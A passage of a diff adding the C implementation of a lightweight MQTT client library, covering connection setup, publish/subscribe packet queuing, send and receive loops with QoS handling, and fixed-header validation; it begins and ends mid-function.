unlocked during CONNECT */ + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + } + err = client->error; + + if (err != MQTT_OK) return err; + } else { + /* mqtt_reconnect will have queued the disconnect packet - that needs to be sent and then call reconnect */ + if (client->error == MQTT_ERROR_RECONNECTING) { + reconnecting = 1; + client->error = MQTT_OK; + } + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + } + + /* Call inspector callback if necessary */ + + if (client->inspector_callback != NULL) { + MQTT_PAL_MUTEX_LOCK(&client->mutex); + err = client->inspector_callback(client); + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + if (err != MQTT_OK) return err; + } + + /* Call receive */ + err = (enum MQTTErrors)__mqtt_recv(client); + if (err != MQTT_OK) return err; + + /* Call send */ + err = (enum MQTTErrors)__mqtt_send(client); + + /* mqtt_reconnect will essentially be a disconnect if there is no callback */ + if (reconnecting && client->reconnect_callback != NULL) { + MQTT_PAL_MUTEX_LOCK(&client->mutex); + client->reconnect_callback(client, &client->reconnect_state); + } + + return err; +} + +uint16_t __mqtt_next_pid(struct mqtt_client *client) { + int pid_exists = 0; + if (client->pid_lfsr == 0) { + client->pid_lfsr = 163u; + } + /* LFSR taps taken from: https://en.wikipedia.org/wiki/Linear-feedback_shift_register */ + + do { + struct mqtt_queued_message *curr; + unsigned lsb = client->pid_lfsr & 1; + (client->pid_lfsr) >>= 1; + if (lsb) { + client->pid_lfsr ^= 0xB400u; + } + + /* check that the PID is unique */ + pid_exists = 0; + for (curr = mqtt_mq_get(&(client->mq), 0); curr >= client->mq.queue_tail; --curr) { + if (curr->packet_id == client->pid_lfsr) { + pid_exists = 1; + break; + } + } + + } while (pid_exists); + return client->pid_lfsr; +} + +enum MQTTErrors mqtt_init(struct mqtt_client *client, + mqtt_pal_socket_handle sockfd, + uint8_t *sendbuf, size_t sendbufsz, + uint8_t *recvbuf, size_t recvbufsz, + void (*publish_response_callback)(void **state, struct mqtt_response_publish *publish)) { + if (client == NULL || sendbuf == NULL || recvbuf == NULL) { + return MQTT_ERROR_NULLPTR; + } + + /* initialize mutex */ + MQTT_PAL_MUTEX_INIT(&client->mutex); + MQTT_PAL_MUTEX_LOCK(&client->mutex); /* unlocked during CONNECT */ + + client->socketfd = sockfd; + + mqtt_mq_init(&client->mq, sendbuf, sendbufsz); + + client->recv_buffer.mem_start = recvbuf; + client->recv_buffer.mem_size = recvbufsz; + client->recv_buffer.curr = client->recv_buffer.mem_start; + client->recv_buffer.curr_sz = client->recv_buffer.mem_size; + + client->error = MQTT_ERROR_CONNECT_NOT_CALLED; + client->response_timeout = 30; + client->number_of_timeouts = 0; + client->number_of_keep_alives = 0; + client->typical_response_time = -1.0f; + client->publish_response_callback = publish_response_callback; + client->pid_lfsr = 0; + client->send_offset = 0; + + client->inspector_callback = NULL; + client->reconnect_callback = NULL; + client->reconnect_state = NULL; + + return MQTT_OK; +} + +void mqtt_init_reconnect(struct mqtt_client *client, + void (*reconnect)(struct mqtt_client *, void **), + void *reconnect_state, + void (*publish_response_callback)(void **state, struct mqtt_response_publish *publish)) { + /* initialize mutex */ + MQTT_PAL_MUTEX_INIT(&client->mutex); + + client->socketfd = (mqtt_pal_socket_handle) - 1; + + mqtt_mq_init(&client->mq, NULL, 0uL); + + client->recv_buffer.mem_start = NULL; + client->recv_buffer.mem_size = 0; + client->recv_buffer.curr = NULL; + client->recv_buffer.curr_sz = 0; + + client->error = MQTT_ERROR_INITIAL_RECONNECT; + client->response_timeout = 30; + client->number_of_timeouts = 0; + client->number_of_keep_alives = 0; + client->typical_response_time = -1.0f; + client->publish_response_callback = publish_response_callback; + client->pid_lfsr = 0; + client->send_offset = 0; + + client->inspector_callback = NULL; + client->reconnect_callback = reconnect; + client->reconnect_state = reconnect_state; +} + +void mqtt_reinit(struct mqtt_client *client, + mqtt_pal_socket_handle socketfd, + uint8_t *sendbuf, size_t sendbufsz, + uint8_t *recvbuf, size_t recvbufsz) { + client->error = MQTT_ERROR_CONNECT_NOT_CALLED; + client->socketfd = socketfd; + + mqtt_mq_init(&client->mq, sendbuf, sendbufsz); + + client->recv_buffer.mem_start = recvbuf; + client->recv_buffer.mem_size = recvbufsz; + client->recv_buffer.curr = client->recv_buffer.mem_start; + client->recv_buffer.curr_sz = client->recv_buffer.mem_size; +} + +/** + * A macro function that: + * 1) Checks that the client isn't in an error state. + * 2) Attempts to pack to client's message queue. + * a) handles errors + * b) if mq buffer is too small, cleans it and tries again + * 3) Upon successful pack, registers the new message. + */ +#define MQTT_CLIENT_TRY_PACK(tmp, msg, client, pack_call, release) \ + if (client->error < 0) { \ + if (release) MQTT_PAL_MUTEX_UNLOCK(&client->mutex); \ + return client->error; \ + } \ + tmp = pack_call; \ + if (tmp < 0) { \ + client->error = (enum MQTTErrors)tmp; \ + if (release) MQTT_PAL_MUTEX_UNLOCK(&client->mutex); \ + return (enum MQTTErrors)tmp; \ + } else if (tmp == 0) { \ + mqtt_mq_clean(&client->mq); \ + tmp = pack_call; \ + if (tmp < 0) { \ + client->error = (enum MQTTErrors)tmp; \ + if (release) MQTT_PAL_MUTEX_UNLOCK(&client->mutex); \ + return (enum MQTTErrors)tmp; \ + } else if(tmp == 0) { \ + client->error = MQTT_ERROR_SEND_BUFFER_IS_FULL; \ + if (release) MQTT_PAL_MUTEX_UNLOCK(&client->mutex); \ + return (enum MQTTErrors)MQTT_ERROR_SEND_BUFFER_IS_FULL; \ + } \ + } \ + msg = mqtt_mq_register(&client->mq, (size_t)tmp); \ + + +enum MQTTErrors mqtt_connect(struct mqtt_client *client, + const char *client_id, + const char *will_topic, + const void *will_message, + size_t will_message_size, + const char *user_name, + const char *password, + uint8_t connect_flags, + uint16_t keep_alive) { + ssize_t rv; + struct mqtt_queued_message *msg; + + /* Note: Current thread already has mutex locked. */ + + /* update the client's state */ + client->keep_alive = keep_alive; + if (client->error == MQTT_ERROR_CONNECT_NOT_CALLED) { + client->error = MQTT_OK; + } + + /* try to pack the message */ + MQTT_CLIENT_TRY_PACK(rv, msg, client, + mqtt_pack_connection_request( + client->mq.curr, client->mq.curr_sz, + client_id, will_topic, will_message, + will_message_size, user_name, password, + connect_flags, keep_alive + ), + 1 + ); + /* save the control type of the message */ + msg->control_type = MQTT_CONTROL_CONNECT; + + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + return MQTT_OK; +} + +enum MQTTErrors mqtt_publish(struct mqtt_client *client, + const char *topic_name, + const void *application_message, + size_t application_message_size, + uint8_t publish_flags) { + struct mqtt_queued_message *msg; + ssize_t rv; + uint16_t packet_id; + MQTT_PAL_MUTEX_LOCK(&client->mutex); + packet_id = __mqtt_next_pid(client); + + + /* try to pack the message */ + MQTT_CLIENT_TRY_PACK( + rv, msg, client, + mqtt_pack_publish_request( + client->mq.curr, client->mq.curr_sz, + topic_name, + packet_id, + application_message, + application_message_size, + publish_flags + ), + 1 + ); + /* save the control type and packet id of the message */ + msg->control_type = MQTT_CONTROL_PUBLISH; + msg->packet_id = packet_id; + + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + return MQTT_OK; +} + +ssize_t __mqtt_puback(struct mqtt_client *client, uint16_t packet_id) { + ssize_t rv; + struct mqtt_queued_message *msg; + + /* try to pack the message */ + MQTT_CLIENT_TRY_PACK( + rv, msg, client, + mqtt_pack_pubxxx_request( + client->mq.curr, client->mq.curr_sz, + MQTT_CONTROL_PUBACK, + packet_id + ), + 0 + ); + /* save the control type and packet id of the message */ + msg->control_type = MQTT_CONTROL_PUBACK; + msg->packet_id = packet_id; + + return MQTT_OK; +} + +ssize_t __mqtt_pubrec(struct mqtt_client *client, uint16_t packet_id) { + ssize_t rv; + struct mqtt_queued_message *msg; + + /* try to pack the message */ + MQTT_CLIENT_TRY_PACK( + rv, msg, client, + mqtt_pack_pubxxx_request( + client->mq.curr, client->mq.curr_sz, + MQTT_CONTROL_PUBREC, + packet_id + ), + 0 + ); + /* save the control type and packet id of the message */ + msg->control_type = MQTT_CONTROL_PUBREC; + msg->packet_id = packet_id; + + return MQTT_OK; +} + +ssize_t __mqtt_pubrel(struct mqtt_client *client, uint16_t packet_id) { + ssize_t rv; + struct mqtt_queued_message *msg; + + /* try to pack the message */ + MQTT_CLIENT_TRY_PACK( + rv, msg, client, + mqtt_pack_pubxxx_request( + client->mq.curr, client->mq.curr_sz, + MQTT_CONTROL_PUBREL, + packet_id + ), + 0 + ); + /* save the control type and packet id of the message */ + msg->control_type = MQTT_CONTROL_PUBREL; + msg->packet_id = packet_id; + + return MQTT_OK; +} + +ssize_t __mqtt_pubcomp(struct mqtt_client *client, uint16_t packet_id) { + ssize_t rv; + struct mqtt_queued_message *msg; + + /* try to pack the message */ + MQTT_CLIENT_TRY_PACK( + rv, msg, client, + mqtt_pack_pubxxx_request( + client->mq.curr, client->mq.curr_sz, + MQTT_CONTROL_PUBCOMP, + packet_id + ), + 0 + ); + /* save the control type and packet id of the message */ + msg->control_type = MQTT_CONTROL_PUBCOMP; + msg->packet_id = packet_id; + + return MQTT_OK; +} + +enum MQTTErrors mqtt_subscribe(struct mqtt_client *client, + const char *topic_name, + int max_qos_level) { + ssize_t rv; + uint16_t packet_id; + struct mqtt_queued_message *msg; + MQTT_PAL_MUTEX_LOCK(&client->mutex); + packet_id = __mqtt_next_pid(client); + + /* try to pack the message */ + MQTT_CLIENT_TRY_PACK( + rv, msg, client, + mqtt_pack_subscribe_request( + client->mq.curr, client->mq.curr_sz, + packet_id, + topic_name, + max_qos_level, + (const char *)NULL + ), + 1 + ); + /* save the control type and packet id of the message */ + msg->control_type = MQTT_CONTROL_SUBSCRIBE; + msg->packet_id = packet_id; + + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + return MQTT_OK; +} + +enum MQTTErrors mqtt_unsubscribe(struct mqtt_client *client, + const char *topic_name) { + uint16_t packet_id = __mqtt_next_pid(client); + ssize_t rv; + struct mqtt_queued_message *msg; + MQTT_PAL_MUTEX_LOCK(&client->mutex); + + /* try to pack the message */ + MQTT_CLIENT_TRY_PACK( + rv, msg, client, + mqtt_pack_unsubscribe_request( + client->mq.curr, client->mq.curr_sz, + packet_id, + topic_name, + (const char *)NULL + ), + 1 + ); + /* save the control type and packet id of the message */ + msg->control_type = MQTT_CONTROL_UNSUBSCRIBE; + msg->packet_id = packet_id; + + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + return MQTT_OK; +} + +enum MQTTErrors mqtt_ping(struct mqtt_client *client) { + enum MQTTErrors rv; + MQTT_PAL_MUTEX_LOCK(&client->mutex); + rv = __mqtt_ping(client); + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + return rv; +} + +enum MQTTErrors __mqtt_ping(struct mqtt_client *client) { + ssize_t rv; + struct mqtt_queued_message *msg; + + /* try to pack the message */ + MQTT_CLIENT_TRY_PACK( + rv, msg, client, + mqtt_pack_ping_request( + client->mq.curr, client->mq.curr_sz + ), + 0 + ); + /* save the control type and packet id of the message */ + msg->control_type = MQTT_CONTROL_PINGREQ; + + + return MQTT_OK; +} + +enum MQTTErrors mqtt_reconnect(struct mqtt_client *client) { + enum MQTTErrors err = mqtt_disconnect(client); + + if (err == MQTT_OK) { + MQTT_PAL_MUTEX_LOCK(&client->mutex); + client->error = MQTT_ERROR_RECONNECTING; + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + } + return err; +} + +enum MQTTErrors mqtt_disconnect(struct mqtt_client *client) { + ssize_t rv; + struct mqtt_queued_message *msg; + MQTT_PAL_MUTEX_LOCK(&client->mutex); + + /* try to pack the message */ + MQTT_CLIENT_TRY_PACK( + rv, msg, client, + mqtt_pack_disconnect( + client->mq.curr, client->mq.curr_sz + ), + 1 + ); + /* save the control type and packet id of the message */ + msg->control_type = MQTT_CONTROL_DISCONNECT; + + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + return MQTT_OK; +} + +ssize_t __mqtt_send(struct mqtt_client *client) { + uint8_t inspected; + ssize_t len; + int inflight_qos2 = 0; + int i = 0; + + MQTT_PAL_MUTEX_LOCK(&client->mutex); + + if (client->error < 0 && client->error != MQTT_ERROR_SEND_BUFFER_IS_FULL) { + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + return client->error; + } + + /* loop through all messages in the queue */ + len = mqtt_mq_length(&client->mq); + for (; i < len; ++i) { + struct mqtt_queued_message *msg = mqtt_mq_get(&client->mq, i); + int resend = 0; + if (msg->state == MQTT_QUEUED_UNSENT) { + /* message has not been sent to lets send it */ + resend = 1; + } else if (msg->state == MQTT_QUEUED_AWAITING_ACK) { + /* check for timeout */ + if (MQTT_PAL_TIME() > msg->time_sent + client->response_timeout) { + resend = 1; + client->number_of_timeouts += 1; + client->send_offset = 0; + } + } + + /* only send QoS 2 message if there are no inflight QoS 2 PUBLISH messages */ + if (msg->control_type == MQTT_CONTROL_PUBLISH + && (msg->state == MQTT_QUEUED_UNSENT || msg->state == MQTT_QUEUED_AWAITING_ACK)) { + inspected = 0x03 & ((msg->start[0]) >> 1); /* qos */ + if (inspected == 2) { + if (inflight_qos2) { + resend = 0; + } + inflight_qos2 = 1; + } + } + + /* goto next message if we don't need to send */ + if (!resend) { + continue; + } + + /* we're sending the message */ + { + ssize_t tmp = mqtt_pal_sendall(client->socketfd, msg->start + client->send_offset, msg->size - client->send_offset, 0); + if (tmp < 0) { + client->error = (enum MQTTErrors)tmp; + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + return tmp; + } else { + client->send_offset += (unsigned long)tmp; + if (client->send_offset < msg->size) { + /* partial sent. Await additional calls */ + break; + } else { + /* whole message has been sent */ + client->send_offset = 0; + } + + } + + } + + /* update timeout watcher */ + client->time_of_last_send = MQTT_PAL_TIME(); + msg->time_sent = client->time_of_last_send; + + /* + Determine the state to put the message in. + Control Types: + MQTT_CONTROL_CONNECT -> awaiting + MQTT_CONTROL_CONNACK -> n/a + MQTT_CONTROL_PUBLISH -> qos == 0 ? complete : awaiting + MQTT_CONTROL_PUBACK -> complete + MQTT_CONTROL_PUBREC -> awaiting + MQTT_CONTROL_PUBREL -> awaiting + MQTT_CONTROL_PUBCOMP -> complete + MQTT_CONTROL_SUBSCRIBE -> awaiting + MQTT_CONTROL_SUBACK -> n/a + MQTT_CONTROL_UNSUBSCRIBE -> awaiting + MQTT_CONTROL_UNSUBACK -> n/a + MQTT_CONTROL_PINGREQ -> awaiting + MQTT_CONTROL_PINGRESP -> n/a + MQTT_CONTROL_DISCONNECT -> complete + */ + switch (msg->control_type) { + case MQTT_CONTROL_PUBACK: + case MQTT_CONTROL_PUBCOMP: + case MQTT_CONTROL_DISCONNECT: + msg->state = MQTT_QUEUED_COMPLETE; + break; + case MQTT_CONTROL_PUBLISH: + inspected = (MQTT_PUBLISH_QOS_MASK & (msg->start[0])) >> 1; /* qos */ + if (inspected == 0) { + msg->state = MQTT_QUEUED_COMPLETE; + } else if (inspected == 1) { + msg->state = MQTT_QUEUED_AWAITING_ACK; + /*set DUP flag for subsequent sends [Spec MQTT-3.3.1-1] */ + msg->start[0] |= MQTT_PUBLISH_DUP; + } else { + msg->state = MQTT_QUEUED_AWAITING_ACK; + } + break; + case MQTT_CONTROL_CONNECT: + case MQTT_CONTROL_PUBREC: + case MQTT_CONTROL_PUBREL: + case MQTT_CONTROL_SUBSCRIBE: + case MQTT_CONTROL_UNSUBSCRIBE: + case MQTT_CONTROL_PINGREQ: + msg->state = MQTT_QUEUED_AWAITING_ACK; + break; + default: + client->error = MQTT_ERROR_MALFORMED_REQUEST; + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + return MQTT_ERROR_MALFORMED_REQUEST; + } + } + + /* check for keep-alive */ + { + mqtt_pal_time_t keep_alive_timeout = client->time_of_last_send + (mqtt_pal_time_t)((float)(client->keep_alive)); + if (MQTT_PAL_TIME() > keep_alive_timeout) { + ssize_t rv = __mqtt_ping(client); + if (rv != MQTT_OK) { + client->error = (enum MQTTErrors)rv; + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + return rv; + } + } + } + + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + return MQTT_OK; +} + +ssize_t __mqtt_recv(struct mqtt_client *client) { + struct mqtt_response response; + ssize_t mqtt_recv_ret = MQTT_OK; + MQTT_PAL_MUTEX_LOCK(&client->mutex); + + /* read until there is nothing left to read, or there was an error */ + while (mqtt_recv_ret == MQTT_OK) { + /* read in as many bytes as possible */ + ssize_t rv, consumed; + struct mqtt_queued_message *msg = NULL; + + rv = mqtt_pal_recvall(client->socketfd, client->recv_buffer.curr, client->recv_buffer.curr_sz, 0); + if (rv < 0) { + /* an error occurred */ + client->error = (enum MQTTErrors)rv; + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + return rv; + } else { + client->recv_buffer.curr += rv; + client->recv_buffer.curr_sz -= (unsigned long)rv; + } + + /* attempt to parse */ + consumed = mqtt_unpack_response(&response, client->recv_buffer.mem_start, (size_t)(client->recv_buffer.curr - client->recv_buffer.mem_start)); + + if (consumed < 0) { + client->error = (enum MQTTErrors)consumed; + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + return consumed; + } else if (consumed == 0) { + /* if curr_sz is 0 then the buffer is too small to ever fit the message */ + if (client->recv_buffer.curr_sz == 0) { + client->error = MQTT_ERROR_RECV_BUFFER_TOO_SMALL; + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + return MQTT_ERROR_RECV_BUFFER_TOO_SMALL; + } + + /* just need to wait for the rest of the data */ + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + return MQTT_OK; + } + + /* response was unpacked successfully */ + + /* + The switch statement below manages how the client responds to messages from the broker. + + Control Types (that we expect to receive from the broker): + MQTT_CONTROL_CONNACK: + -> release associated CONNECT + -> handle response + MQTT_CONTROL_PUBLISH: + -> stage response, none if qos==0, PUBACK if qos==1, PUBREC if qos==2 + -> call publish callback + MQTT_CONTROL_PUBACK: + -> release associated PUBLISH + MQTT_CONTROL_PUBREC: + -> release PUBLISH + -> stage PUBREL + MQTT_CONTROL_PUBREL: + -> release associated PUBREC + -> stage PUBCOMP + MQTT_CONTROL_PUBCOMP: + -> release PUBREL + MQTT_CONTROL_SUBACK: + -> release SUBSCRIBE + -> handle response + MQTT_CONTROL_UNSUBACK: + -> release UNSUBSCRIBE + MQTT_CONTROL_PINGRESP: + -> release PINGREQ + */ + switch (response.fixed_header.control_type) { + case MQTT_CONTROL_CONNACK: + /* release associated CONNECT */ + msg = mqtt_mq_find(&client->mq, MQTT_CONTROL_CONNECT, NULL); + if (msg == NULL) { + client->error = MQTT_ERROR_ACK_OF_UNKNOWN; + mqtt_recv_ret = MQTT_ERROR_ACK_OF_UNKNOWN; + break; + } + msg->state = MQTT_QUEUED_COMPLETE; + /* initialize typical response time */ + client->typical_response_time = (float)(MQTT_PAL_TIME() - msg->time_sent); + /* check that connection was successful */ + if (response.decoded.connack.return_code != MQTT_CONNACK_ACCEPTED) { + if (response.decoded.connack.return_code == MQTT_CONNACK_REFUSED_IDENTIFIER_REJECTED) { + client->error = MQTT_ERROR_CONNECT_CLIENT_ID_REFUSED; + mqtt_recv_ret = MQTT_ERROR_CONNECT_CLIENT_ID_REFUSED; + } else { + client->error = MQTT_ERROR_CONNECTION_REFUSED; + mqtt_recv_ret = MQTT_ERROR_CONNECTION_REFUSED; + } + break; + } + break; + case MQTT_CONTROL_PUBLISH: + /* stage response, none if qos==0, PUBACK if qos==1, PUBREC if qos==2 */ + if (response.decoded.publish.qos_level == 1) { + rv = __mqtt_puback(client, response.decoded.publish.packet_id); + if (rv != MQTT_OK) { + client->error = (enum MQTTErrors)rv; + mqtt_recv_ret = rv; + break; + } + } else if (response.decoded.publish.qos_level == 2) { + /* check if this is a duplicate */ + if (mqtt_mq_find(&client->mq, MQTT_CONTROL_PUBREC, &response.decoded.publish.packet_id) != NULL) { + break; + } + + rv = __mqtt_pubrec(client, response.decoded.publish.packet_id); + if (rv != MQTT_OK) { + client->error = (enum MQTTErrors)rv; + mqtt_recv_ret = rv; + break; + } + } + /* call publish callback */ + client->publish_response_callback(&client->publish_response_callback_state, &response.decoded.publish); + break; + case MQTT_CONTROL_PUBACK: + /* release associated PUBLISH */ + msg = mqtt_mq_find(&client->mq, MQTT_CONTROL_PUBLISH, &response.decoded.puback.packet_id); + if (msg == NULL) { + client->error = MQTT_ERROR_ACK_OF_UNKNOWN; + mqtt_recv_ret = MQTT_ERROR_ACK_OF_UNKNOWN; + break; + } + msg->state = MQTT_QUEUED_COMPLETE; + /* update response time */ + client->typical_response_time = 0.875f * (client->typical_response_time) + 0.125f * (float)(MQTT_PAL_TIME() - msg->time_sent); + break; + case MQTT_CONTROL_PUBREC: + /* check if this is a duplicate */ + if (mqtt_mq_find(&client->mq, MQTT_CONTROL_PUBREL, &response.decoded.pubrec.packet_id) != NULL) { + break; + } + /* release associated PUBLISH */ + msg = mqtt_mq_find(&client->mq, MQTT_CONTROL_PUBLISH, &response.decoded.pubrec.packet_id); + if (msg == NULL) { + client->error = MQTT_ERROR_ACK_OF_UNKNOWN; + mqtt_recv_ret = MQTT_ERROR_ACK_OF_UNKNOWN; + break; + } + msg->state = MQTT_QUEUED_COMPLETE; + /* update response time */ + client->typical_response_time = 0.875f * (client->typical_response_time) + 0.125f * (float)(MQTT_PAL_TIME() - msg->time_sent); + /* stage PUBREL */ + rv = __mqtt_pubrel(client, response.decoded.pubrec.packet_id); + if (rv != MQTT_OK) { + client->error = (enum MQTTErrors)rv; + mqtt_recv_ret = rv; + break; + } + break; + case MQTT_CONTROL_PUBREL: + /* release associated PUBREC */ + msg = mqtt_mq_find(&client->mq, MQTT_CONTROL_PUBREC, &response.decoded.pubrel.packet_id); + if (msg == NULL) { + client->error = MQTT_ERROR_ACK_OF_UNKNOWN; + mqtt_recv_ret = MQTT_ERROR_ACK_OF_UNKNOWN; + break; + } + msg->state = MQTT_QUEUED_COMPLETE; + /* update response time */ + client->typical_response_time = 0.875f * (client->typical_response_time) + 0.125f * (float)(MQTT_PAL_TIME() - msg->time_sent); + /* stage PUBCOMP */ + rv = __mqtt_pubcomp(client, response.decoded.pubrec.packet_id); + if (rv != MQTT_OK) { + client->error = (enum MQTTErrors)rv; + mqtt_recv_ret = rv; + break; + } + break; + case MQTT_CONTROL_PUBCOMP: + /* release associated PUBREL */ + msg = mqtt_mq_find(&client->mq, MQTT_CONTROL_PUBREL, &response.decoded.pubcomp.packet_id); + if (msg == NULL) { + client->error = MQTT_ERROR_ACK_OF_UNKNOWN; + mqtt_recv_ret = MQTT_ERROR_ACK_OF_UNKNOWN; + break; + } + msg->state = MQTT_QUEUED_COMPLETE; + /* update response time */ + client->typical_response_time = 0.875f * (client->typical_response_time) + 0.125f * (float)(MQTT_PAL_TIME() - msg->time_sent); + break; + case MQTT_CONTROL_SUBACK: + /* release associated SUBSCRIBE */ + msg = mqtt_mq_find(&client->mq, MQTT_CONTROL_SUBSCRIBE, &response.decoded.suback.packet_id); + if (msg == NULL) { + client->error = MQTT_ERROR_ACK_OF_UNKNOWN; + mqtt_recv_ret = MQTT_ERROR_ACK_OF_UNKNOWN; + break; + } + msg->state = MQTT_QUEUED_COMPLETE; + /* update response time */ + client->typical_response_time = 0.875f * (client->typical_response_time) + 0.125f * (float)(MQTT_PAL_TIME() - msg->time_sent); + /* check that subscription was successful (not currently only one subscribe at a time) */ + if (response.decoded.suback.return_codes[0] == MQTT_SUBACK_FAILURE) { + client->error = MQTT_ERROR_SUBSCRIBE_FAILED; + mqtt_recv_ret = MQTT_ERROR_SUBSCRIBE_FAILED; + break; + } + break; + case MQTT_CONTROL_UNSUBACK: + /* release associated UNSUBSCRIBE */ + msg = mqtt_mq_find(&client->mq, MQTT_CONTROL_UNSUBSCRIBE, &response.decoded.unsuback.packet_id); + if (msg == NULL) { + client->error = MQTT_ERROR_ACK_OF_UNKNOWN; + mqtt_recv_ret = MQTT_ERROR_ACK_OF_UNKNOWN; + break; + } + msg->state = MQTT_QUEUED_COMPLETE; + /* update response time */ + client->typical_response_time = 0.875f * (client->typical_response_time) + 0.125f * (float)(MQTT_PAL_TIME() - msg->time_sent); + break; + case MQTT_CONTROL_PINGRESP: + /* release associated PINGREQ */ + msg = mqtt_mq_find(&client->mq, MQTT_CONTROL_PINGREQ, NULL); + if (msg == NULL) { + client->error = MQTT_ERROR_ACK_OF_UNKNOWN; + mqtt_recv_ret = MQTT_ERROR_ACK_OF_UNKNOWN; + break; + } + msg->state = MQTT_QUEUED_COMPLETE; + /* update response time */ + client->typical_response_time = 0.875f * (client->typical_response_time) + 0.125f * (float)(MQTT_PAL_TIME() - msg->time_sent); + break; + default: + client->error = MQTT_ERROR_MALFORMED_RESPONSE; + mqtt_recv_ret = MQTT_ERROR_MALFORMED_RESPONSE; + break; + } + { + /* we've handled the response, now clean the buffer */ + void *dest = (unsigned char *)client->recv_buffer.mem_start; + void *src = (unsigned char *)client->recv_buffer.mem_start + consumed; + size_t n = (size_t)(client->recv_buffer.curr - client->recv_buffer.mem_start - consumed); + memmove(dest, src, n); + client->recv_buffer.curr -= consumed; + client->recv_buffer.curr_sz += (unsigned long)consumed; + } + } + + /* In case there was some error handling the (well formed) message, we end up here */ + MQTT_PAL_MUTEX_UNLOCK(&client->mutex); + return mqtt_recv_ret; +} + +/* FIXED HEADER */ + +#define MQTT_BITFIELD_RULE_VIOLOATION(bitfield, rule_value, rule_mask) ((bitfield ^ rule_value) & rule_mask) + +struct mqtt_fixed_header_rules_s { + uint8_t control_type_is_valid[16]; + uint8_t required_flags[16]; + uint8_t mask_required_flags[16]; +} ; + +static const struct mqtt_fixed_header_rules_s mqtt_fixed_header_rules = { + { + /* boolean value, true if type is valid */ + 0x00, /* MQTT_CONTROL_RESERVED */ + 0x01, /* MQTT_CONTROL_CONNECT */ + 0x01, /* MQTT_CONTROL_CONNACK */ + 0x01, /* MQTT_CONTROL_PUBLISH */ + 0x01, /* MQTT_CONTROL_PUBACK */ + 0x01, /* MQTT_CONTROL_PUBREC */ + 0x01, /* MQTT_CONTROL_PUBREL */ + 0x01, /* MQTT_CONTROL_PUBCOMP */ + 0x01, /* MQTT_CONTROL_SUBSCRIBE */ + 0x01, /* MQTT_CONTROL_SUBACK */ + 0x01, /* MQTT_CONTROL_UNSUBSCRIBE */ + 0x01, /* MQTT_CONTROL_UNSUBACK */ + 0x01, /* MQTT_CONTROL_PINGREQ */ + 0x01, /* MQTT_CONTROL_PINGRESP */ + 0x01, /* MQTT_CONTROL_DISCONNECT */ + 0x00 /* MQTT_CONTROL_RESERVED */ + }, + { + /* flags that must be set for the associated control type */ + 0x00, /* MQTT_CONTROL_RESERVED */ + 0x00, /* MQTT_CONTROL_CONNECT */ + 0x00, /* MQTT_CONTROL_CONNACK */ + 0x00, /* MQTT_CONTROL_PUBLISH */ + 0x00, /* MQTT_CONTROL_PUBACK */ + 0x00, /* MQTT_CONTROL_PUBREC */ + 0x02, /* MQTT_CONTROL_PUBREL */ + 0x00, /* MQTT_CONTROL_PUBCOMP */ + 0x02, /* MQTT_CONTROL_SUBSCRIBE */ + 0x00, /* MQTT_CONTROL_SUBACK */ + 0x02, /* MQTT_CONTROL_UNSUBSCRIBE */ + 0x00, /* MQTT_CONTROL_UNSUBACK */ + 0x00, /* MQTT_CONTROL_PINGREQ */ + 0x00, /* MQTT_CONTROL_PINGRESP */ + 0x00, /* MQTT_CONTROL_DISCONNECT */ + 0x00 /* MQTT_CONTROL_RESERVED */ + }, + { + /* mask of flags that must be specific values for the associated control type*/ + 0x00, /* MQTT_CONTROL_RESERVED */ + 0x0F, /* MQTT_CONTROL_CONNECT */ + 0x0F, /* MQTT_CONTROL_CONNACK */ + 0x00, /* MQTT_CONTROL_PUBLISH */ + 0x0F, /* MQTT_CONTROL_PUBACK */ + 0x0F, /* MQTT_CONTROL_PUBREC */ + 0x0F, /* MQTT_CONTROL_PUBREL */ + 0x0F, /* MQTT_CONTROL_PUBCOMP */ + 0x0F, /* MQTT_CONTROL_SUBSCRIBE */ + 0x0F, /* MQTT_CONTROL_SUBACK */ + 0x0F, /* MQTT_CONTROL_UNSUBSCRIBE */ + 0x0F, /* MQTT_CONTROL_UNSUBACK */ + 0x0F, /* MQTT_CONTROL_PINGREQ */ + 0x0F, /* MQTT_CONTROL_PINGRESP */ + 0x0F, /* MQTT_CONTROL_DISCONNECT */ + 0x00 /* MQTT_CONTROL_RESERVED */ + } +}; + +static ssize_t mqtt_fixed_header_rule_violation(const struct mqtt_fixed_header *fixed_header) { + uint8_t control_type; + uint8_t control_flags; + uint8_t required_flags; + uint8_t mask_required_flags; + + /* get value and rules */ + control_type = (uint8_t)fixed_header->control_type; + control_flags = fixed_header->control_flags; + required_flags = mqtt_fixed_header_rules.required_flags[control_type]; + mask_required_flags = mqtt_fixed_header_rules.mask_required_flags[control_type]; + + /* check for valid type */ + if (!mqtt_fixed_header_rules.control_type_is_valid[control_type]) { + return MQTT_ERROR_CONTROL_FORBIDDEN_TYPE; + } + + /* check that flags are appropriate */ + if (MQTT_BITFIELD_RULE_VIOLOATION(control_flags, required_flags, mask_required_flags)) { + return MQTT_ERROR_CONTROL_INVALID_FLAGS; + } + + return 0; +} + +ssize_t mqtt_unpack_fixed_header(struct mqtt_response *response, const uint8_t *buf, size_t bufsz) { + struct mqtt_fixed_header *fixed_header; + const uint8_t *start = buf; + int lshift; + ssize_t errcode; + + /* check for null pointers or empty buffer */ + if (response == NULL || buf == NULL) { + return MQTT_ERROR_NULLPTR; + } + fixed_header = &(response->fixed_header); + + /* check that bufsz is not zero */ + if (bufsz == 0) return 0; + + /* parse control type and flags */ + fixed_header->control_type = (enum MQTTControlPacketType)(*buf >> 4); + fixed_header->control_flags = (uint8_t)(*buf & 0x0F); + + /* parse remaining size */ + 